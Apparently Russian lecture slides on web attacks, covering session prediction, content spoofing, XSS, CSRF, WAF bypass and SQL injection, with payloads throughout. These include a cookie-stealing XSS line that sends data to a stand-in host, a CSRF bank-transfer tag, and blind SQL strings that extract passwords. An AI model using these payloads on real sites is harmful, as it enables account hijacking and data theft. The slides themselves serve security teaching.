7. Варианты подбора
• Подбор учётных данных
• Подбор идентификатора сессии
• Подбор названий директорий и файлов
• Подбор критичных данных в полях ввода
9. Credential/session prediction
• Предсказание или угадывание уникального
идентификатора сессии пользователя с
целью перехвата текущей сессии или
последующей работы с web-сервером от
имени скомпрометированного
пользователя
10. Credential/session prediction
• HTTP – Stateless протокол
• Для каждого запрашиваемого объекта
создается собственная сессия TCP
• Аутентифицирована только текущая сессия
• На практике многие приложения требуют
аутентификации нескольких соединений
11. Credential/session prediction
Идентификатор сессии сохраняется в поле
cookie, скрытых полях форм или URL. Если атакующий
имеет возможность определить
алгоритм, используемый для генерации
идентификатора сессии, он может :
• подключиться к серверу, используя текущий
идентификатор сессии;
• вычислить или подобрать следующий
идентификатор сессии;
• присвоить полученное значение идентификатора
cookie/скрытому полю формы/URL.
18. Подмена содержимого
• Используя эту технику, злоумышленник
заставляет пользователя поверить, что
страницы сгенерированы Web-сервером, а
не переданы из внешнего источника.
19. Подмена содержимого
• Некоторые Web-страницы создаются с использованием
динамических источников HTML-кода.
• Например, расположение фрейма (<frame src="
http://foo.example/file.html">) может передаваться в параметре
URL(http://foo.example/page?frame_src=http://foo.example/file.ht
ml ).
• Атакующий может заменить значение параметра "frame_src" на
"frame_src= http://attacker.example/spoof.html". При
отображении результирующей страницы в строке адреса
браузера будет отображаться адрес сервера (foo.example), но
так же на странице будет присутствовать внешнее
содержимое, загруженное с сервера атакующего
(attacker.example), замаскированное под легальный контент.
20. Подмена содержимого
• Если атакующий спровоцировал пользователя на
переход по специально созданной ссылке, у
пользователя может создаться впечатление, что он
просматривает данные с сервера, в то время как
часть их была сгенерирована злоумышленником.
• Таким образом, произойдет «дефейс» сайта
http://foo.example на стороне
пользователя, поскольку содержимое сервера будет
загружено с сервера http://attacker.example. Эта
атака так же может использоваться для создания
ложных страниц, таких как формы ввода
пароля, пресс-релизы и т.д.
22. Markup reflected content spoofing
(пример)
• Web-сервер динамически формирует фреймы на
странице с пресс-релизами компании.
• При переходе по ссылке
http://foo.example/pr?pg=http://foo.example/pr/01012003.html
загружается страница следующего содержания:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content"
SRC="http://foo.example/pr/01012003.html”>
</FRAMESET>
</HTML>
23. Markup reflected content spoofing
(пример)
• Фрейм "pr_content" отображает страницу, указанную в параметре "pg"
HTTP-запроса. Но, поскольку атакующий изменил нормальный URL на
значение
http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.ht
ml и сервер не проводит проверки параметра "pg", результирующий
HTML код будет иметь следующий вид:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC="http://attacker.example/spoofed_press_release.html">
</FRAMESET>
</HTML>
• Для конечного пользователя содержимое, загруженное с сервера
"attacker.example" будет выглядеть, как страница сервера "foo.example".
25. Межсайтовое выполнение сценариев
• Передача серверу HTML-кода, содержащего
сценарии, которые впоследствии
выполняются браузером клиента
• Переданный код исполняется в контексте
безопасности (или зоне безопасности)
уязвимого сервера
• Различают два варианта XSS:
– Отражённый (non-persistent)
– Сохранённый (persistent)
29. Где встречается XSS?
• HTML-тэг
• Тело JavaScript/VBScript/etc (eq DOM-
based)
• Код HTML
• Параметр тэга HTML
• Java/Flash приложения
• ActiveX
•…
30. Пример обнаружения и использования
• Возможный метод обнаружения уязвимости
/?id="><script>alert(1)</script>
– HTML-код возвращаемой страницы примет вид
В параметре тега …<font size=""><script>alert(1)</script>"…
В тексте …<p>"><script>alert(1)</script></p>…
– В результате браузер выполнит JavaScript-код
• Пример практического использования:
"><script src=http://host/script.js></script>
31. Пример обнаружения и использования
• Уязвимый HTML-код:
…
<IMG SRC="$filename">
…
• Эксплуатация:
/?filename="onerror=alert('XSS');"
/?filename="onerror=javascript:alert('XSS');"
…
• HTML-код возвращаемой страницы примет вид:
…
<IMG SRC=""onerror=alert('XSS');"">
…
• Пример практического использования:
/?filename="onerror="xss=new/**/Image().src='http://host/sniff?c='%2Bescape(docu
ment.cookie);"
32. Пример использования (DOM-based)
• Уязвимый код:
...
<select><script>
document.write("<OPTION value=1>"+document.location.href.substring
(document.location.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>
...
• Штатная работа сценария:
/?default=Russia
/?default=French
…
• Эксплуатация:
/?default=<script>alert(document.cookie)</script>
33. Как это работает?
Web-сервер
3. Переход по ссылке
6. Работа с Web-приложением от
имени атакованного пользователя
1. fuzzing, поиск
4. Выполнение исполняемого уязвимости
кода в браузере пользователя
5. Например, передача
Web-сессии (cookies)
2. Передача «заряженной» ссылки:
http://web/?search="><script>...</script>
34. Подделка HTTP-запросов
• Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request
Forgery, CSRF, XSRF)
– сложности при автоматизированном обнаружении
– Однако эта ошибка встречается в том или ином виде во многих
веб-приложениях
– Степень опасности уязвимости CSRF зависит от функций и
задач, решаемых приложением
• Cross-Site Request Forgery – вид атаки, использующий функцию
браузера по автоматической отправке идентификатора сессии с
каждым GET/POST-запросом к веб-приложению
• Часто применяется связка XSS + CSRF
35. Как это работает?
Интернет-форум
2. Пользователь посещает форум
3. Браузер загружает картинку по адресу:
http://ibanking/action?...
Интернет-банк
(ibanking)
4. Если сессия пользователя существует, то…
1. Публикация сообщения:
<img src=http://ibanking/action?account=12345&amount=500&for=54321>
37. Методы обхода WAF
• Фундаментальные ограничения технологии
– Неспособность полностью защитить Web-приложение от всех
возможных уязвимостей
• Общие проблемы
– балансировка между эффективностью фильтра и минимизацией
ошибок блокировки легитимного трафика
– Обработка возвращаемого клиенту трафика
• Уязвимости реализации
– Технологии нормализации запроса
– Использование новых техник эксплуатации уязвимостей в Web
(HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена
null-byte и т.п.)
38. Методы обхода WAF
• Сохраненный вариант XSS
В случае если удалось «протащить» XSS через фильтр, WAF не сможет
воспрепятствовать реализации атаки
• Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript)
Пример: <script> ... setTimeout("writetitle()",$_GET[xss]) ... </script>
Эксплуатация: /?xss=500); alert(document.cookie);//
• DOM-based XSS
Пример: <script> ... eval($_GET[xss]); ... </script>
Эксплуатация: /?xss=document.cookie
• Аналогичные проблемы наблюдаются у фильтров
защиты от XSS на стороне клиента client-side (например, IE8)
44. Внедрение SQL-кода
• Метод обхода логики приложения и
получения непосредственного доступа к
данным путем внедрения во входную
информацию, обрабатываемую
приложением, операторов языка SQL
45. Внедрение SQL-кода
http://Server/inject.asp?id=1 select * from test where id=1
inject.asp
id = Request.querystring("id")
SQL_query = "SELECT * FROM test where id="+id
Set RS = MyConn.Execute(SQL_query)
47. Ещё пример
Web-сервер СУБД
http://web/?id=6329&print=Y
….
SELECT * from news where id = 6329
….
48. Ещё пример
Web-сервер СУБД
http://web/?id=6329+union+select+id,pwd,0+from...
….
SELECT * from news where id = 6329 union select id,pwd,0 from…
….
49. Последствия внедрения SQL-кода
• Обход ограничений пользовательского ввода
• Получение доступа к данным
• Модификация данных
• Получение доступа к файловой системе
51. Обычное внедрение SQL-кода
• Обнаружение уязвимости
/?id=1+ORDER+BY+100
– SQL запрос примет вид
SELECT id, name from table where id =1 ORDER BY 100
– В результате может быть получено следующее сообщение об ошибке
ERROR 1054 (42S22): Unknown column '100' in 'order clause'
• Получение имен таблиц/колонок (information_schema/перебор) и последующее получение данных
из найденных таблиц
/?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns
– SQL запрос примет вид
SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from
information_schema.columns
– В результате может быть получена требуемая информация в формате
| 0 | table1:column1 |
| 0 | table1:column2 |
52. SQL Injection – Различия СУБД
MySQL MSSQL MS Access Oracle DB2 PostgreSQL
'' concat ''
concat(,)
Объединение строк concat_ws(delim,)
' '+' ' " "&" " ' '||' ' " "+" " ' '||' '
' '||' '
Комментарии -- и /**/ и # -- и /* Нет -- и /* -- -- и /*
Объединение
union union и ; union union union union и ;
запросов
Подзапросы v.4.1 >= Да Нет Да Да Да
Хранимые процедуры Нет Да Нет Да Нет Да
Наличие
information_schema или его v.5.0 >= Да Да Да Да Да
аналога
Особенности эксплуатации для разных СУБД
Пример (MySQL): SELECT * from table where id = 1 union select 1,2,3
Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3
Пример (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual
53. SQL Injection – Различия СУБД
• MySQL 4.1>=
– Первая запись
/?id=1 union select name,123 from users limit 0,1
– Вторая запись
/?id=1 union select name,123 from users limit 1,1
• MSSQL
– Первая запись
/?id=1 union select table_name,123 from (select row_number() over (order by name) as
rownum, name from users) as t where t.rownum=1
– Вторая запись
/?id=1 union select table_name,123 from (select row_number() over (order by name) as
rownum, name from users) as t where t.rownum=2
• PostgreSQL
– Первая запись
/?id=1 union select name, null from users limit 1 offset 0
– Вторая запись
/?id=1 union select name, null from users limit 1 offset 1
ИЛИ
– Первая запись
/?id=1; select name, 123 from users limit 1 offset 0
– Вторая запись
/?id=1; select name, 123 from users limit 1 offset 1
54. Blind SQL Injection
• Главная сложность: отсутствует сообщение
об ошибке
• Эксплуатируя уязвимость SQL Injection
«слепым» методом, атакующий
манипулирует логикой работы приложения
(true/false)
55. Способы обнаружения
Blind SQL-инъекций
http://site/?param=-1 OR 1=1
http://site/?param=-1 OR 1=1--
...
http://site/?param=-1'
http://site/?param=-1' AND 1=2
...
http://site/?param=-1' OR '1'='1
...
http://site/?param=-1"/*
...
http://site/?param=2
http://site/?param=1
http://site/?param=2-1
...
http://site/?param=1' AND 1=1
http://site/?param=1' AND '1'='1
…
56. Способы использования
Blind SQL-инъекций
• Подбор первого символа у первой записи в таблице
/?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0
,1),1,1))=97,555,777)
– SQL запрос примет вид
SELECT id, name from table where id =1 AND
555=if(ord(mid((select pass from users limit
0,1),1,1))=97,555,777)
– В случае, если таблица «users» содержит колонку
«pass» и первый символ первой записи этой колонки
равен 97 (символ «a») то, СУБД вернет TRUE. В
противном случае – FALSE.
57. Способы использования
Blind SQL-инъекций
• Подбор второго символа у первой записи в таблице
/?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0
,1),2,1))=97,555,777)
– SQL запрос примет вид
SELECT id, name from table where id =1 AND
555=if(ord(mid((select pass from users limit
0,1),2,1))=97,555,777)
– В случае, если таблица «users» содержит колонку
«pass» и первый символ первой записи этой колонки
равен 97 (символ «a») то, СУБД вернет TRUE. В
противном случае – FALSE.
58. Double Blind SQL Injection
• Эксплуатация уязвимости Double Blind SQL Injection
основана на временных задержках
• Для повышения быстродействия можно ограничить набор
подбираемых символов.
• Классическая реализация:
/?id=1+AND+if((ascii(lower(substring((select password from user limit
0,1),0,1))))=97,1,benchmark(2000000,md5(now())))
– На основе временной задержки ответа от web-сервера можно
сделать вывод, что подбираемый символ угадан
– Манипулируя со значением 2000000, можно добиться
приемлемой скорости под конкретное приложение
– Аналог benchmark() - sleep(). Функция sleep() является более
безопасной для подобных целей, т.к. не использует процессорные
ресурсы сервера